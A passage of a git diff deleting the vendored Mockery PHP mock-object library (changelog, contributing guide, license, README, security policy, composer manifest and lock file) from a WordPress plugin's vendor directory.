(2019-02-07) - -- Support for PHPUnit 8 (#942) -- Allow mocking static methods called on instance (#938) - -## 1.2.0 (2018-10-02) - -- Starts counting default expectations towards count (#910) -- Adds workaround for some HHVM return types (#909) -- Adds PhpStorm metadata support for autocomplete etc (#904) -- Further attempts to support multiple PHPUnit versions (#903) -- Allows setting constructor expectations on instance mocks (#900) -- Adds workaround for HHVM memoization decorator (#893) -- Adds experimental support for callable spys (#712) - -## 1.1.0 (2018-05-08) - -- Allows use of string method names in allows and expects (#794) -- Finalises allows and expects syntax in API (#799) -- Search for handlers in a case instensitive way (#801) -- Deprecate allowMockingMethodsUnnecessarily (#808) -- Fix risky tests (#769) -- Fix namespace in TestListener (#812) -- Fixed conflicting mock names (#813) -- Clean elses (#819) -- Updated protected method mocking exception message (#826) -- Map of constants to mock (#829) -- Simplify foreach with `in_array` function (#830) -- Typehinted return value on Expectation#verify. (#832) -- Fix shouldNotHaveReceived with HigherOrderMessage (#842) -- Deprecates shouldDeferMissing (#839) -- Adds support for return type hints in Demeter chains (#848) -- Adds shouldNotReceive to composite expectation (#847) -- Fix internal error when using --static-backup (#845) -- Adds `andAnyOtherArgs` as an optional argument matcher (#860) -- Fixes namespace qualifying with namespaced named mocks (#872) -- Added possibility to add Constructor-Expections on hard dependencies, read: Mockery::mock('overload:...') (#781) - -## 1.0.0 (2017-09-06) - -- Destructors (`__destruct`) are stubbed out where it makes sense -- Allow passing a closure argument to `withArgs()` to validate multiple arguments at once. -- `Mockery\Adapter\Phpunit\TestListener` has been rewritten because it - incorrectly marked some tests as risky. It will no longer verify mock - expectations but instead check that tests do that themselves. PHPUnit 6 is - required if you want to use this fail safe. -- Removes SPL Class Loader -- Removed object recorder feature -- Bumped minimum PHP version to 5.6 -- `andThrow` will now throw anything `\Throwable` -- Adds `allows` and `expects` syntax -- Adds optional global helpers for `mock`, `namedMock` and `spy` -- Adds ability to create objects using traits -- `Mockery\Matcher\MustBe` was deprecated -- Marked `Mockery\MockInterface` as internal -- Subset matcher matches recursively -- BC BREAK - Spies return `null` by default from ignored (non-mocked) methods with nullable return type -- Removed extracting getter methods of object instances -- BC BREAK - Remove implicit regex matching when trying to match string arguments, introduce `\Mockery::pattern()` when regex matching is needed -- Fix Mockery not getting closed in cases of failing test cases -- Fix Mockery not setting properties on overloaded instance mocks -- BC BREAK - Fix Mockery not trying default expectations if there is any concrete expectation -- BC BREAK - Mockery's PHPUnit integration will mark a test as risky if it - thinks one it's exceptions has been swallowed in PHPUnit > 5.7.6. Use `$e->dismiss()` to dismiss. - -## 0.9.4 (XXXX-XX-XX) - -- `shouldIgnoreMissing` will respect global `allowMockingNonExistentMethods` - config -- Some support for variadic parameters -- Hamcrest is now a required dependency -- Instance mocks now respect `shouldIgnoreMissing` call on control instance -- This will be the *last version to support PHP 5.3* -- Added `Mockery\Adapter\Phpunit\MockeryPHPUnitIntegration` trait -- Added `makePartial` to `Mockery\MockInterface` as it was missing - -## 0.9.3 (2014-12-22) - -- Added a basic spy implementation -- Added `Mockery\Adapter\Phpunit\MockeryTestCase` for more reliable PHPUnit - integration - -## 0.9.2 (2014-09-03) - -- Some workarounds for the serialisation problems created by changes to PHP in 5.5.13, 5.4.29, - 5.6. -- Demeter chains attempt to reuse doubles as they see fit, so for foo->bar and - foo->baz, we'll attempt to use the same foo - -## 0.9.1 (2014-05-02) - -- Allow specifying consecutive exceptions to be thrown with `andThrowExceptions` -- Allow specifying methods which can be mocked when using - `Mockery\Configuration::allowMockingNonExistentMethods(false)` with - `Mockery\MockInterface::shouldAllowMockingMethod($methodName)` -- Added andReturnSelf method: `$mock->shouldReceive("foo")->andReturnSelf()` -- `shouldIgnoreMissing` now takes an optional value that will be return instead - of null, e.g. `$mock->shouldIgnoreMissing($mock)` - -## 0.9.0 (2014-02-05) - -- Allow mocking classes with final __wakeup() method -- Quick definitions are now always `byDefault` -- Allow mocking of protected methods with `shouldAllowMockingProtectedMethods` -- Support official Hamcrest package -- Generator completely rewritten -- Easily create named mocks with namedMock diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/CONTRIBUTING.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/CONTRIBUTING.md deleted file mode 100644 index d828fb30..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/CONTRIBUTING.md +++ /dev/null @@ -1,82 +0,0 @@ -# Contributing - - -We'd love you to help out with mockery and no contribution is too small. - - -## Reporting Bugs - -Issues can be reported on the [issue tracker](https://github.com/mockery/mockery/issues). -Please try and report any bugs with a minimal reproducible example, it will make things easier for other -contributors and your problems will hopefully be resolved quickly. - - -## Requesting Features - -We're always interested to hear about your ideas and you can request features by -creating a ticket in the [issue tracker](https://github.com/mockery/mockery/issues). We can't always guarantee -someone will jump on it straight away, but putting it out there to see if anyone -else is interested is a good idea. - -Likewise, if a feature you would like is already listed in -the issue tracker, add a :+1: so that other contributors know it's a feature -that would help others. - - -## Contributing code and documentation - -We loosely follow the -[PSR-1](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-1-basic-coding-standard.md) -and -[PSR-2](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md) coding standards, -but we'll probably merge any code that looks close enough. - -* Fork the [repository](https://github.com/mockery/mockery) on GitHub -* Add the code for your feature or bug -* Add some tests for your feature or bug -* Optionally, but preferably, write some documentation -* Optionally, update the CHANGELOG.md file with your feature or - [BC](http://en.wikipedia.org/wiki/Backward_compatibility) break -* Send a [Pull Request](https://help.github.com/articles/creating-a-pull-request) to the - correct target branch (see below) - -If you have a big change or would like to discuss something, create an issue in -the [issue tracker](https://github.com/mockery/mockery/issues) or jump in to \#mockery on freenode - - -Any code you contribute must be licensed under the [BSD 3-Clause License](http://opensource.org/licenses/BSD-3-Clause). - -## Target Branch - -Mockery may have several active branches at any one time and roughly follows a -[Git Branching Model](https://igor.io/2013/10/21/git-branching-model.html). -Generally, if you're developing a new feature, you want to be targeting the -master branch, if it's a bug fix, you want to be targeting a release branch, -e.g. 0.8. - - -## Testing Mockery - -To run the unit tests for Mockery, clone the git repository, download Composer using -the instructions at [http://getcomposer.org/download/](http://getcomposer.org/download/), -then install the dependencies with `php /path/to/composer.phar install`. - -This will install the required dev dependencies and create the -autoload files required by the unit tests. You may run the `vendor/bin/phpunit` command -to run the unit tests. If everything goes to plan, there will be no failed tests! - - -## Debugging Mockery - -Mockery and its code generation can be difficult to debug. A good start is to -use the `RequireLoader`, which will dump the code generated by mockery to a file -before requiring it, rather than using eval. This will help with stack traces, -and you will be able to open the mock class in your editor. - -``` php - -// tests/bootstrap.php - -Mockery::setLoader(new Mockery\Loader\RequireLoader(sys_get_temp_dir())); - -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/COPYRIGHT.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/COPYRIGHT.md deleted file mode 100644 index b3b19bc4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/COPYRIGHT.md +++ /dev/null @@ -1,7 +0,0 @@ -# Copyright - -- Copyright (c) [2009](https://github.com/mockery/mockery/commit/1d96f88142abe804ab9e893a5f07933f63e9bff9), [Pádraic Brady](https://github.com/padraic) -- Copyright (c) [2011](https://github.com/mockery/mockery/commit/94dbb63aab37c659f63ea6e34acc6958928b0f59), [Robert Basic](https://github.com/robertbasic) -- Copyright (c) [2012](https://github.com/mockery/mockery/commit/64e3ad6960eb3202b5b91b91a4ef1cf6252f0fef), [Dave Marshall](https://github.com/davedevelopment) -- Copyright (c) [2013](https://github.com/mockery/mockery/commit/270ddd0bd051251e36a5688c52fc2638a097b110), [Graham Campbell](https://github.com/GrahamCampbell) -- Copyright (c) [2017](https://github.com/mockery/mockery/commit/ba28b84c416b95924886bbd64a6a2f68e863536a), [Nathanael Esayeas](https://github.com/ghostwriter) diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/LICENSE deleted file mode 100644 index 1a9030ce..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/LICENSE +++ /dev/null @@ -1,29 +0,0 @@ -BSD 3-Clause License - -Copyright (c) 2009-2023, Pádraic Brady -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -3. Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/README.md deleted file mode 100644 index 26977342..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/README.md +++ /dev/null @@ -1,294 +0,0 @@ -Mockery -======= - -[![Build Status](https://github.com/mockery/mockery/actions/workflows/tests.yml/badge.svg)](https://github.com/mockery/mockery/actions) -[![Supported PHP Version](https://badgen.net/packagist/php/mockery/mockery?color=8892bf)](https://www.php.net/supported-versions) -[![Code Coverage](https://codecov.io/gh/mockery/mockery/branch/1.6.x/graph/badge.svg?token=oxHwVM56bT)](https://codecov.io/gh/mockery/mockery) -[![Type Coverage](https://shepherd.dev/github/mockery/mockery/coverage.svg)](https://shepherd.dev/github/mockery/mockery) -[![Latest Stable Version](https://poser.pugx.org/mockery/mockery/v/stable.svg)](https://packagist.org/packages/mockery/mockery) -[![Total Downloads](https://poser.pugx.org/mockery/mockery/downloads.svg)](https://packagist.org/packages/mockery/mockery) - -Mockery is a simple yet flexible PHP mock object framework for use in unit testing -with PHPUnit, PHPSpec or any other testing framework. Its core goal is to offer a -test double framework with a succinct API capable of clearly defining all possible -object operations and interactions using a human readable Domain Specific Language -(DSL). Designed as a drop in alternative to PHPUnit's phpunit-mock-objects library, -Mockery is easy to integrate with PHPUnit and can operate alongside -phpunit-mock-objects without the World ending. - -Mockery is released under a New BSD License. - -## Installation - -To install Mockery, run the command below and you will get the latest -version - -```sh -composer require --dev mockery/mockery -``` - -## Documentation - -In older versions, this README file was the documentation for Mockery. Over time -we have improved this, and have created an extensive documentation for you. Please -use this README file as a starting point for Mockery, but do read the documentation -to learn how to use Mockery. - -The current version can be seen at [docs.mockery.io](http://docs.mockery.io). - -## PHPUnit Integration - -Mockery ships with some helpers if you are using PHPUnit. You can extend the -[`Mockery\Adapter\Phpunit\MockeryTestCase`](library/Mockery/Adapter/Phpunit/MockeryTestCase.php) -class instead of `PHPUnit\Framework\TestCase`, or if you are already using a -custom base class for your tests, take a look at the traits available in the -[`Mockery\Adapter\Phpunit`](library/Mockery/Adapter/Phpunit) namespace. - -## Test Doubles - -Test doubles (often called mocks) simulate the behaviour of real objects. They are -commonly utilised to offer test isolation, to stand in for objects which do not -yet exist, or to allow for the exploratory design of class APIs without -requiring actual implementation up front. - -The benefits of a test double framework are to allow for the flexible generation -and configuration of test doubles. They allow the setting of expected method calls -and/or return values using a flexible API which is capable of capturing every -possible real object behaviour in way that is stated as close as possible to a -natural language description. Use the `Mockery::mock` method to create a test -double. - -``` php -$double = Mockery::mock(); -``` - -If you need Mockery to create a test double to satisfy a particular type hint, -you can pass the type to the `mock` method. - -``` php -class Book {} - -interface BookRepository { - function find($id): Book; - function findAll(): array; - function add(Book $book): void; -} - -$double = Mockery::mock(BookRepository::class); -``` - -A detailed explanation of creating and working with test doubles is given in the -documentation, [Creating test doubles](http://docs.mockery.io/en/latest/reference/creating_test_doubles.html) -section. - -## Method Stubs 🎫 - -A method stub is a mechanism for having your test double return canned responses -to certain method calls. With stubs, you don't care how many times, if at all, -the method is called. Stubs are used to provide indirect input to the system -under test. - -``` php -$double->allows()->find(123)->andReturns(new Book()); - -$book = $double->find(123); -``` - -If you have used Mockery before, you might see something new in the example -above — we created a method stub using `allows`, instead of the "old" -`shouldReceive` syntax. This is a new feature of Mockery v1, but fear not, -the trusty ol' `shouldReceive` is still here. - -For new users of Mockery, the above example can also be written as: - -``` php -$double->shouldReceive('find')->with(123)->andReturn(new Book()); -$book = $double->find(123); -``` - -If your stub doesn't require specific arguments, you can also use this shortcut -for setting up multiple calls at once: - -``` php -$double->allows([ - "findAll" => [new Book(), new Book()], -]); -``` - -or - -``` php -$double->shouldReceive('findAll') - ->andReturn([new Book(), new Book()]); -``` - -You can also use this shortcut, which creates a double and sets up some stubs in -one call: - -``` php -$double = Mockery::mock(BookRepository::class, [ - "findAll" => [new Book(), new Book()], -]); -``` - -## Method Call Expectations 📲 - -A Method call expectation is a mechanism to allow you to verify that a -particular method has been called. You can specify the parameters and you can -also specify how many times you expect it to be called. Method call expectations -are used to verify indirect output of the system under test. - -``` php -$book = new Book(); - -$double = Mockery::mock(BookRepository::class); -$double->expects()->add($book); -``` - -During the test, Mockery accept calls to the `add` method as prescribed. -After you have finished exercising the system under test, you need to -tell Mockery to check that the method was called as expected, using the -`Mockery::close` method. One way to do that is to add it to your `tearDown` -method in PHPUnit. - -``` php - -public function tearDown() -{ - Mockery::close(); -} -``` - -The `expects()` method automatically sets up an expectation that the method call -(and matching parameters) is called **once and once only**. You can choose to change -this if you are expecting more calls. - -``` php -$double->expects()->add($book)->twice(); -``` - -If you have used Mockery before, you might see something new in the example -above — we created a method expectation using `expects`, instead of the "old" -`shouldReceive` syntax. This is a new feature of Mockery v1, but same as with -`allows` in the previous section, it can be written in the "old" style. - -For new users of Mockery, the above example can also be written as: - -``` php -$double->shouldReceive('find') - ->with(123) - ->once() - ->andReturn(new Book()); -$book = $double->find(123); -``` - -A detailed explanation of declaring expectations on method calls, please -read the documentation, the [Expectation declarations](http://docs.mockery.io/en/latest/reference/expectations.html) -section. After that, you can also learn about the new `allows` and `expects` methods -in the [Alternative shouldReceive syntax](http://docs.mockery.io/en/latest/reference/alternative_should_receive_syntax.html) -section. - -It is worth mentioning that one way of setting up expectations is no better or worse -than the other. Under the hood, `allows` and `expects` are doing the same thing as -`shouldReceive`, at times in "less words", and as such it comes to a personal preference -of the programmer which way to use. - -## Test Spies ðŸ•µï¸ - -By default, all test doubles created with the `Mockery::mock` method will only -accept calls that they have been configured to `allow` or `expect` (or in other words, -calls that they `shouldReceive`). Sometimes we don't necessarily care about all of the -calls that are going to be made to an object. To facilitate this, we can tell Mockery -to ignore any calls it has not been told to expect or allow. To do so, we can tell a -test double `shouldIgnoreMissing`, or we can create the double using the `Mocker::spy` -shortcut. - -``` php -// $double = Mockery::mock()->shouldIgnoreMissing(); -$double = Mockery::spy(); - -$double->foo(); // null -$double->bar(); // null -``` - -Further to this, sometimes we want to have the object accept any call during the test execution -and then verify the calls afterwards. For these purposes, we need our test -double to act as a Spy. All mockery test doubles record the calls that are made -to them for verification afterwards by default: - -``` php -$double->baz(123); - -$double->shouldHaveReceived()->baz(123); // null -$double->shouldHaveReceived()->baz(12345); // Uncaught Exception Mockery\Exception\InvalidCountException... -``` - -Please refer to the [Spies](http://docs.mockery.io/en/latest/reference/spies.html) section -of the documentation to learn more about the spies. - -## Utilities 🔌 - -### Global Helpers - -Mockery ships with a handful of global helper methods, you just need to ask -Mockery to declare them. - -``` php -Mockery::globalHelpers(); - -$mock = mock(Some::class); -$spy = spy(Some::class); - -$spy->shouldHaveReceived() - ->foo(anyArgs()); -``` - -All of the global helpers are wrapped in a `!function_exists` call to avoid -conflicts. So if you already have a global function called `spy`, Mockery will -silently skip the declaring its own `spy` function. - -### Testing Traits - -As Mockery ships with code generation capabilities, it was trivial to add -functionality allowing users to create objects on the fly that use particular -traits. Any abstract methods defined by the trait will be created and can have -expectations or stubs configured like normal Test Doubles. - -``` php -trait Foo { - function foo() { - return $this->doFoo(); - } - - abstract function doFoo(); -} - -$double = Mockery::mock(Foo::class); -$double->allows()->doFoo()->andReturns(123); -$double->foo(); // int(123) -``` - -## Versioning - -The Mockery team attempts to adhere to [Semantic Versioning](http://semver.org), -however, some of Mockery's internals are considered private and will be open to -change at any time. Just because a class isn't final, or a method isn't marked -private, does not mean it constitutes part of the API we guarantee under the -versioning scheme. - -### Alternative Runtimes - -Mockery 1.3 was the last version to support HHVM 3 and PHP 5. There is no support for HHVM 4+. - -## A new home for Mockery - -âš ï¸ï¸ Update your remotes! Mockery has transferred to a new location. While it was once -at `padraic/mockery`, it is now at `mockery/mockery`. While your -existing repositories will redirect transparently for any operations, take some -time to transition to the new URL. -```sh -$ git remote set-url upstream https://github.com/mockery/mockery.git -``` -Replace `upstream` with the name of the remote you use locally; `upstream` is commonly -used but you may be using something else. Run `git remote -v` to see what you're actually -using. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/SECURITY.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/SECURITY.md deleted file mode 100644 index cc8790e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/SECURITY.md +++ /dev/null @@ -1,14 +0,0 @@ -# Security Policy - -## Supported Versions - -| Version | Supported | -| ------- | ------------------ | -| `2.0.x` | `yes` | -| `1.6.x` | `yes` | -| `1.5.x` | `yes` | -| `<1.5.x` | `no` | - -## Reporting a Vulnerability - -To report a security vulnerability, please [`Open a draft security advisory`](https://github.com/mockery/mockery/security/advisories/new) so we can coordinate the fix and disclosure. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/composer.json deleted file mode 100644 index 6f03cf2d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/composer.json +++ /dev/null @@ -1,119 +0,0 @@ -{ - "name": "mockery/mockery", - "description": "Mockery is a simple yet flexible PHP mock object framework", - "license": "BSD-3-Clause", - "type": "library", - "keywords": [ - "bdd", - "library", - "mock", - "mock objects", - "mockery", - "stub", - "tdd", - "test", - "test double", - "testing" - ], - "authors": [ - { - "name": "Pádraic Brady", - "email": "padraic.brady@gmail.com", - "homepage": "https://github.com/padraic", - "role": "Author" - }, - { - "name": "Dave Marshall", - "email": "dave.marshall@atstsolutions.co.uk", - "homepage": "https://davedevelopment.co.uk", - "role": "Developer" - }, - { - "name": "Nathanael Esayeas", - "email": "nathanael.esayeas@protonmail.com", - "homepage": "https://github.com/ghostwriter", - "role": "Lead Developer" - } - ], - "homepage": "https://github.com/mockery/mockery", - "support": { - "issues": "https://github.com/mockery/mockery/issues", - "source": "https://github.com/mockery/mockery", - "docs": "https://docs.mockery.io/", - "rss": "https://github.com/mockery/mockery/releases.atom", - "security": "https://github.com/mockery/mockery/security/advisories" - }, - "require": { - "php": ">=7.3", - "lib-pcre": ">=7.0", - "hamcrest/hamcrest-php": "^2.0.1" - }, - "require-dev": { - "phpunit/phpunit": "^8.5 || ^9.6.17", - "symplify/easy-coding-standard": "^12.1.14" - }, - "conflict": { - "phpunit/phpunit": "<8.0" - }, - "autoload": { - "psr-4": { - "Mockery\\": "library/Mockery" - }, - "files": [ - "library/helpers.php", - "library/Mockery.php" - ] - }, - "autoload-dev": { - "psr-4": { - "Fixture\\": "tests/Fixture/", - "Mockery\\Tests\\Unit\\": "tests/Unit", - "test\\": "tests/" - }, - "files": [ - "fixtures/autoload.php", - "vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest.php" - ] - }, - "config": { - "optimize-autoloader": true, - "platform": { - "php": "7.3.999" - }, - "preferred-install": "dist", - "sort-packages": true - }, - "scripts": { - "check": [ - "@composer validate", - "@ecs", - "@test" - ], - "docs": "vendor/bin/phpdoc -d library -t docs/api", - "ecs": [ - "@ecs:fix", - "@ecs:check" - ], - "ecs:check": "ecs check --clear-cache || true", - "ecs:fix": "ecs check --clear-cache --fix", - "phive": [ - "tools/phive update --force-accept-unsigned", - "tools/phive purge" - ], - "phpunit": "vendor/bin/phpunit --do-not-cache-result --colors=always", - "phpunit:coverage": "@phpunit --coverage-clover=coverage.xml", - "psalm": "tools/psalm --no-cache --show-info=true", - "psalm:alter": "tools/psalm --no-cache --alter --allow-backwards-incompatible-changes=false --safe-types", - "psalm:baseline": "@psalm --no-diff --set-baseline=psalm-baseline.xml", - "psalm:dry-run": "@psalm:alter --issues=all --dry-run", - "psalm:fix": "@psalm:alter --issues=UnnecessaryVarAnnotation,MissingPureAnnotation,MissingImmutableAnnotation", - "psalm:security": "@psalm --no-diff --taint-analysis", - "psalm:shepherd": "@psalm --no-diff --shepherd --stats --output-format=github", - "test": [ - "@phpunit --stop-on-defect", - "@psalm", - "@psalm:security", - "@psalm:dry-run" - ] - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/composer.lock b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/composer.lock deleted file mode 100644 index 603f9697..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/composer.lock +++ /dev/null @@ -1,1867 +0,0 @@ -{ - "_readme": [ - "This file locks the dependencies of your project to a known state", - "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", - "This file is @generated automatically" - ], - "content-hash": "e70f68192a56a148f93ad7a1c0779be3", - "packages": [ - { - "name": "hamcrest/hamcrest-php", - "version": "v2.0.1", - "source": { - "type": "git", - "url": "https://github.com/hamcrest/hamcrest-php.git", - "reference": "8c3d0a3f6af734494ad8f6fbbee0ba92422859f3" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/hamcrest/hamcrest-php/zipball/8c3d0a3f6af734494ad8f6fbbee0ba92422859f3", - "reference": "8c3d0a3f6af734494ad8f6fbbee0ba92422859f3", - "shasum": "" - }, - "require": { - "php": "^5.3|^7.0|^8.0" - }, - "replace": { - "cordoval/hamcrest-php": "*", - "davedevelopment/hamcrest-php": "*", - "kodova/hamcrest-php": "*" - }, - "require-dev": { - "phpunit/php-file-iterator": "^1.4 || ^2.0", - "phpunit/phpunit": "^4.8.36 || ^5.7 || ^6.5 || ^7.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.1-dev" - } - }, - "autoload": { - "classmap": [ - "hamcrest" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "description": "This is the PHP port of Hamcrest Matchers", - "keywords": [ - "test" - ], - "support": { - "issues": "https://github.com/hamcrest/hamcrest-php/issues", - "source": "https://github.com/hamcrest/hamcrest-php/tree/v2.0.1" - }, - "time": "2020-07-09T08:09:16+00:00" - } - ], - "packages-dev": [ - { - "name": "doctrine/instantiator", - "version": "1.5.0", - "source": { - "type": "git", - "url": "https://github.com/doctrine/instantiator.git", - "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/doctrine/instantiator/zipball/0a0fa9780f5d4e507415a065172d26a98d02047b", - "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b", - "shasum": "" - }, - "require": { - "php": "^7.1 || ^8.0" - }, - "require-dev": { - "doctrine/coding-standard": "^9 || ^11", - "ext-pdo": "*", - "ext-phar": "*", - "phpbench/phpbench": "^0.16 || ^1", - "phpstan/phpstan": "^1.4", - "phpstan/phpstan-phpunit": "^1", - "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", - "vimeo/psalm": "^4.30 || ^5.4" - }, - "type": "library", - "autoload": { - "psr-4": { - "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Marco Pivetta", - "email": "ocramius@gmail.com", - "homepage": "https://ocramius.github.io/" - } - ], - "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", - "homepage": "https://www.doctrine-project.org/projects/instantiator.html", - "keywords": [ - "constructor", - "instantiate" - ], - "support": { - "issues": "https://github.com/doctrine/instantiator/issues", - "source": "https://github.com/doctrine/instantiator/tree/1.5.0" - }, - "funding": [ - { - "url": "https://www.doctrine-project.org/sponsorship.html", - "type": "custom" - }, - { - "url": "https://www.patreon.com/phpdoctrine", - "type": "patreon" - }, - { - "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", - "type": "tidelift" - } - ], - "time": "2022-12-30T00:15:36+00:00" - }, - { - "name": "myclabs/deep-copy", - "version": "1.11.1", - "source": { - "type": "git", - "url": "https://github.com/myclabs/DeepCopy.git", - "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", - "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", - "shasum": "" - }, - "require": { - "php": "^7.1 || ^8.0" - }, - "conflict": { - "doctrine/collections": "<1.6.8", - "doctrine/common": "<2.13.3 || >=3,<3.2.2" - }, - "require-dev": { - "doctrine/collections": "^1.6.8", - "doctrine/common": "^2.13.3 || ^3.2.2", - "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" - }, - "type": "library", - "autoload": { - "files": [ - "src/DeepCopy/deep_copy.php" - ], - "psr-4": { - "DeepCopy\\": "src/DeepCopy/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "description": "Create deep copies (clones) of your objects", - "keywords": [ - "clone", - "copy", - "duplicate", - "object", - "object graph" - ], - "support": { - "issues": "https://github.com/myclabs/DeepCopy/issues", - "source": "https://github.com/myclabs/DeepCopy/tree/1.11.1" - }, - "funding": [ - { - "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", - "type": "tidelift" - } - ], - "time": "2023-03-08T13:26:56+00:00" - }, - { - "name": "nikic/php-parser", - "version": "v4.18.0", - "source": { - "type": "git", - "url": "https://github.com/nikic/PHP-Parser.git", - "reference": "1bcbb2179f97633e98bbbc87044ee2611c7d7999" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/1bcbb2179f97633e98bbbc87044ee2611c7d7999", - "reference": "1bcbb2179f97633e98bbbc87044ee2611c7d7999", - "shasum": "" - }, - "require": { - "ext-tokenizer": "*", - "php": ">=7.0" - }, - "require-dev": { - "ircmaxell/php-yacc": "^0.0.7", - "phpunit/phpunit": "^6.5 || ^7.0 || ^8.0 || ^9.0" - }, - "bin": [ - "bin/php-parse" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.9-dev" - } - }, - "autoload": { - "psr-4": { - "PhpParser\\": "lib/PhpParser" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Nikita Popov" - } - ], - "description": "A PHP parser written in PHP", - "keywords": [ - "parser", - "php" - ], - "support": { - "issues": "https://github.com/nikic/PHP-Parser/issues", - "source": "https://github.com/nikic/PHP-Parser/tree/v4.18.0" - }, - "time": "2023-12-10T21:03:43+00:00" - }, - { - "name": "phar-io/manifest", - "version": "2.0.3", - "source": { - "type": "git", - "url": "https://github.com/phar-io/manifest.git", - "reference": "97803eca37d319dfa7826cc2437fc020857acb53" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phar-io/manifest/zipball/97803eca37d319dfa7826cc2437fc020857acb53", - "reference": "97803eca37d319dfa7826cc2437fc020857acb53", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-phar": "*", - "ext-xmlwriter": "*", - "phar-io/version": "^3.0.1", - "php": "^7.2 || ^8.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", - "support": { - "issues": "https://github.com/phar-io/manifest/issues", - "source": "https://github.com/phar-io/manifest/tree/2.0.3" - }, - "time": 